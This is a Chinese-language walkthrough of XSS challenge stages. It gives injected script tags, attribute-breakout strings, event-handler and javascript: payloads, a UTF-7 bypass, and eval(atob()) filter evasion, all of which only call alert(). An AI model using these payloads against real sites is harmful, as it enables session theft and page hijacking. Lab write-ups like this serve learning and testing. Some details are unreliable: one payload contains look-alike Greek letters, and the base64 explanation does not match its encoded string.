直接在search 输入框中输入payload:
<script>alert(document.domain)</script>
点击search就XSS攻击成功了。
尝试直接输入<script>alert(document.domain)</script>
,发现并未完成通关,查看Hint提示,需要:close the current tag and add SCRIPT tag...。
然后右键查看网页源码,发现可以闭合输入框的HTML标签:value="">。
Search输入框输入payload:
"><script>alert(document.domain)</script><"
点击搜索,正确通关。
尝试了一下前两关的注入方式,发现都没有反应,然后看了一下Hint提示,说搜索框已经正确做了转移,然后看了一下页面源码,确实是进行了转移处理。
那这个输入框就没有办法进行注入了,看网页源码,发现这是一个post请求,并且后边的Choose a country没有做处理,那这里就是攻击点了,页面上没有办法操作。
构造post数据包
p1=1&p2=<script>alert(document.domain)</script>
burp改包
成功通关
burp抓包发现参数p3
在源代码中查找hackme
类似stage2,构造payload:
p1=123&p2=Japan&p3="><script>alert(document.domain)</script><
成功通关
审查源码,发现与stage2相仿,但是有个maxlenth限制长度,因为是js,就直接修改maxlenth为50
然后输入
"><script>alert(document.domain)</script><
成功通关
与stage2相仿,构造payload:
"><script>alert(document.domain)</script><
发现<>符号被HTML特殊字符代替,说明输入内容被HTML实体编码
不过双引号可用,构造payload
" onmouseover="alert(document.domain)">
当鼠标再次移动到搜索框就会触发弹窗
构造payload:
"><script>alert(document.domain)</script><
发现过滤了双引号
构造payload:
s onmouseover=alert(document.domain)
当鼠标移动到搜索框就会触发弹窗
构造payload:
<script>alert(document.domain)</script>
发现出现在一个标签里
制作成一个链接使其弹出一个窗口,那么只需要在标签中添加一个JavaScript伪链接即可
javascript:alert(document.domain);
点击JavaScript伪链接即可弹窗
构造payload:
<script>alert(document.domain)</script>
发现一个隐藏参数euc-jp,查了下发现是日本编码
需要使用 IE7浏览器,将payload构造为 UTF-7编码
p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7
控制台直接绕过
成功通关
构造payload:
<script>alert(document.domain)</script>
发现domain被过滤了
方法一双写绕过
"><script>alert(document.dodomainmain)</script><
成功通关
方法二:
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>
把document.domdomainain);进行Base64转码,再运用atob方法回复成原字符串,再通过eval函数,执行document.domdomainain);,就可以达到效果了
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。